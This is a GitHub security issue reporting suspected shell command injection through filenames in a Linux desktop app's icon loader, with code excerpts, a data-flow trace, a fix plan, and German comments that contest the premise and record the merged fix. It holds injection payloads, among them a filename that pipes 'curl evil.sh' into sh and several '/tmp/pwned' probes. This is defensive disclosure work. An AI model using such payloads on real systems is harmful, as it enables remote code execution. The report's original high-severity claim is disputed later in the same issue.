Skip to content

[HIGH] Icon loader runs file paths through the shell inside hand-written quotes — search results execute on render #45

Closed

Description

@Toqsick

Summary

IconLoader.getIconForAppOrFile() hands file paths to the icon helper Python script wrapped in hand-written single quotes and runs the call through the shell (the runInShell: true default of the command layer). Any path that contains a single quote — legal in filenames, and common output of archives/cloud-sync — closes the quoted region and everything after it becomes /bin/sh source code that is executed when the app merely renders the search-result card.

  • lib/services/icon_loader.dart:65-68 — the injection sink:
    iconPath = await Linux.runCommandWithCustomArguments("/usr/bin/python3", [
      "${Linux.pythonScriptsFolder}/get_icon_path_for_file.py",
      "--file='$filePath'",
    ]);
    runCommandWithCustomArguments defaults to runInShell: true (lib/services/linux.dart:101), so this becomes sh -c "/usr/bin/python3 …/get_icon_path_for_file.py --file='<path>'".
  • Same pattern with a second attacker-influenced value at lib/services/icon_loader.dart:57-61: --icon=$appCode (unquoted) — appCode/iconURI is the Icon= field of a .desktop file (lib/services/linux.dart:1030-1033).

Where the path comes from (all third-party data, none of it typed by the user):

  • Recent files — get_recent_files.py reads the GTK recent-files list, which every application writes → openfile:<path> entries (lib/services/linux.dart:1046-1060)
  • Favorite files — get_favorite_files.py (lib/services/linux.dart:1715-1732)
  • Home-directory scan — getAllFolderEntriesOfUser (lib/services/linux.dart:921)
  • GTK/KDE bookmarks (lib/services/linux.dart:957, KDE .xbel)

Trigger requires no click: action_entry_card.dart:116 builds SystemIcon(iconString: <path>) for every rendered openfile: result; system_icon.dart:41 calls IconLoader.getIconForAppOrFile(iconString); the 200 ms render timer (action_entry_card.dart:83) fires while the user merely scrolls or types a matching search term.

Note this is the same quote-wrapping pattern the project already removed once: runPythonScript (lib/services/linux.dart:1464-1478) documents that a hand-shell-quoted keyword "unwound into command execution" and was fixed there — icon_loader.dart is the leftover instance of that pattern.

Impact

Second-order OS command injection: untrusted file names (not typed by the user) become shell source code. A file created by any download/zip-extract/sync with a name like x'; curl evil.sh | sh; #.txt, once it appears in the app's search/recent/favorite list, executes the attacker's commands with the desktop user's privileges when the entry is displayed — no click needed, only the card rendering for ~200 ms.

The privilege is the user's, but the app is trusted infrastructure for the user's admin work: injected code runs inside the process that builds the root command queue, so it can enqueue an arbitrary root LinuxCommand and let the user approve it as an ordinary "apply changes" dialog.

Even without an attacker, a benign apostrophe filename (don't.txt) corrupts the command and yields wrong/failed icon lookups.

Complexity

  • Complexity: 2 (Easy)

Evidence

// lib/services/icon_loader.dart:64-68  (runInShell not passed → true)
} else if (filePath != "") {
  iconPath = await Linux.runCommandWithCustomArguments("/usr/bin/python3", [
    "${Linux.pythonScriptsFolder}/get_icon_path_for_file.py",
    "--file='$filePath'",
  ]);
}

Data flow:

  1. get_recent_files.py / folder scan / bookmarks → ActionEntry(action: "openfile:<path>") (lib/services/linux.dart:1050-1057)
  2. Render → SystemIcon(iconString: <path>) (lib/layouts/main_screen/action_entry_card.dart:112-117)
  3. IconLoader.getIconForAppOrFile(<path>) → filePath = <path> (lib/services/icon_loader.dart:37-38)
  4. runCommandWithCustomArguments(..., ["--file='<path>'"]) with default runInShell: true → sh -c (lib/services/linux.dart:101, lib/helpers/command_helper.dart:58-61)

The receiving script even strips the quotes it expects — get_icon_path_for_file.py does file_path.removeprefix("'").removesuffix("'") (additional/python/get_icon_path_for_file.py:8-10) — proving the quoting is a shell shim, not protocol.

Reproduce the shell break-out pattern standalone:

python3 -c "import os; p=\"x'; touch /tmp/pwned; echo '\"'; os.system('echo --file=' + chr(39) + p + chr(39))" && ls -la /tmp/pwned

Recommended Fix

In lib/services/icon_loader.dart:

  1. Drop the hand-written quotes and the shell: pass the values as data with runInShell: false, mirroring Linux.runPythonScript (lib/services/linux.dart:1464-1478):
    iconPath = await Linux.runCommandWithCustomArguments("/usr/bin/python3", [
      "${Linux.pythonScriptsFolder}/get_icon_path_for_file.py",
      "--file=$filePath",
    ], runInShell: false);
  2. Do the same for the --icon=$appCode call (icon_loader.dart:57-61) and the /tmp/ probe (:50-53).
  3. get_icon_path_for_file.py:8-10 can then drop the removeprefix("'")/removesuffix("'") shim once no caller quotes anymore.
  4. Regression test: an appCode containing '; touch /tmp/pwned; ', a space and a ' must yield a successful Gio lookup (or a clean "not found") and must not create /tmp/pwned.

Related: #42 (the layer-wide runInShell default this sink rides on).

References

Validation

  • attacker_source: file names read off the disk — GTK recent-files list (.recently-used.xbel, written by any application), home-directory scan, GTK bookmarks, and Icon= fields of .desktop files, all reaching IconLoader as openfile:/openapp: search entries
  • missing_guard: the path is wrapped in hand-written single quotes and executed under /bin/sh (runInShell: true default); no escaping/neutralization of ', ;, $, backticks, newlines is applied
  • sink_effect: arbitrary shell commands execute with the desktop user's privileges when a search-result card containing the file renders (icon load, 200 ms after display)
  • preconditions: a file whose name contains shell metacharacters appears in an entry list whose icon is loaded (recent files, scanned folders, bookmarks, or a desktop-file Icon= value); no click required
  • proof_anchors: lib/services/icon_loader.dart:65-68 ("--file='$filePath'"); lib/services/icon_loader.dart:59 ("--icon=$appCode"); lib/services/linux.dart:101 (bool runInShell = true); lib/layouts/main_screen/action_entry_card.dart:116 (render-time SystemIcon); additional/python/get_icon_path_for_file.py:8-10 (quote-stripping shim)
  • suggested_validation: create ~/x'; touch /tmp/pwned; #.txt, open the Linux-Assistant search, type a prefix matching the name, and check ls /tmp/pwned after the result card renders — or statically confirm the sink with grep -n "file='" lib/services/icon_loader.dart

Activity

  1. Toqsick commented on Sep 15, 2026

    @Toqsick
    OwnerAuthor

    Triage-Link 2026-09-15: Verdict „contested" — die Prämisse (argv space-joined unquoted) wurde empirisch widerlegt (Dart escapet argv per Single-Quote-Wrapping, POSIX; nachgetestet Dart 3.12.2). Severity ist damit Low pending RV-1 (#51): der Re-Verify über die gebaute App entscheidet final. Fix bleibt als Härtung in WP-B2 (#53) eingeplant.

  2. Toqsick commented on Oct 23, 2026

    @Toqsick
    OwnerAuthor

    Fix umgesetzt — Merge von PR #155 steht noch aus

    WP-B2 hat den Fix geliefert. Das Issue bleibt offen, bis PR #155 in main gemerged ist —
    so bin ich bei den 12 Audit-Issues vorgegangen: geschlossen wird nur, was nachweislich in main ist.

    Der Fix (PR #155, Branch fix/45-icon-loader-argv):

    Datei Änderung
    lib/services/icon_loader.dart --file='<pfad>' → --file=<pfad>; runInShell: false an allen drei Aufrufstellen
    additional/python/get_icon_path_for_file.py Quote-Strip-Shim entfernt, Wert wird unverändert durchgereicht
    test/icon_loader_test.dart (neu) 7 Tests
    additional/python/tests/test_icon_path_helper.py (neu) 4 Tests

    Warum beide Hälften zusammen mussten: der Helfer hat den Wert bisher umgeschrieben
    (removeprefix("'")/removesuffix("'")). Ein Aufrufer, der den nackten Pfad übergibt — so wie
    der Loader jetzt — hätte bei einem Pfad mit abschließendem Quote-Zeichen ein abgeschnittenes
    Fragment bekommen. Das alte Paar war symmetrisch und lieferte für sich genommen das richtige
    Ergebnis; der Bruch wäre erst entstanden, wenn nur eine Seite geändert worden wäre.

    Zur Prämisse: die Shell war nie ein Split-Risiko. Dart quotet jedes argv-Element, ein Pfad
    mit Leerzeichen bleibt ein Argument. Gemessen mit einer Sonde, die die Argumentanzahl zählt
    (nicht nur die Ausgabe vergleicht — das kann ein Argument mit Leerzeichen nicht von zwei
    Argumenten unterscheiden): jedes Payload kommt als genau ein argv-Element an, ;, $(…),
    Backticks, *, | bleiben inert, kein Artefakt erzeugt. Die Shell war also ein unnötiger
    Zwischenschritt; runInShell: false ist das Muster der übrigen sechs Aufrufstellen in
    lib/services/linux.dart.

    TDD: RED 6 Failures (Dart) und 2 Failures (Python) → GREEN 7/7 und 4/4.
    Gates: flutter analyze 0 Findings · flutter test 230 Tests · Python 62 Tests ·
    Format-Gate 124 Dateien 0 geändert · la_core 0 Findings / 25 Dateien / 68 Tests.

    E2E mit echtem GI-Stack: der reale Helper lief mit einem Pfad mit Leerzeichen und einem mit
    abschließendem Quote; beide scheitern erst im Gtk-Teil (IconTheme.get_default() liefert ohne
    Display null) — der Gio-Teil lief also mit dem richtigen Pfad durch.

    RV-1: Probe 3 (die #42-Kontrolle) ist am 2026-10-23 empirisch erledigt. Die GUI-Proben 1
    und 2 bleiben offen unter #51.

  3. Toqsick commented on Oct 23, 2026

    @Toqsick
    OwnerAuthor

    Abnahme — erledigt

    PR #155 ist gemerged (abf3465, 2026-10-23 21:04 UTC). Der Fix ist damit in main — das Issue
    kann geschlossen werden.

    Fix:

    • lib/services/icon_loader.dart — --file='<pfad>' → --file=<pfad>, runInShell: false an allen
      drei Aufrufstellen (Ordner, App, Datei)
    • additional/python/get_icon_path_for_file.py — der Quote-Strip-Shim ist entfernt, der Wert wird
      unverändert durchgereicht
    • test/icon_loader_test.dart (neu, 7 Tests), additional/python/tests/test_icon_path_helper.py
      (neu, 4 Tests)

    Gates: flutter analyze No issues found! · flutter test 230 Tests · Python 62 Tests ·
    Format-Gate 124 Dateien 0 geändert · la_core 0 Findings / 25 Dateien / 68 Tests.

    RV-1: Probe 3 (die #42-Kontrolle) ist empirisch erledigt — runInShell: true ist kein
    Injection-Vektor, Dart quotet jedes argv-Element einzeln. Die GUI-Proben 1 und 2 bleiben unter #51.

    Verdict laut security-fixplan-42-50.md: Low (Härtung), kein Security-Bug. Der Kommentar
    lib/services/linux.dart:1496-1501 („argv is space-joined unquoted") ist sachlich falsch und wird
    mit WP-S3 / #56 korrigiert.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions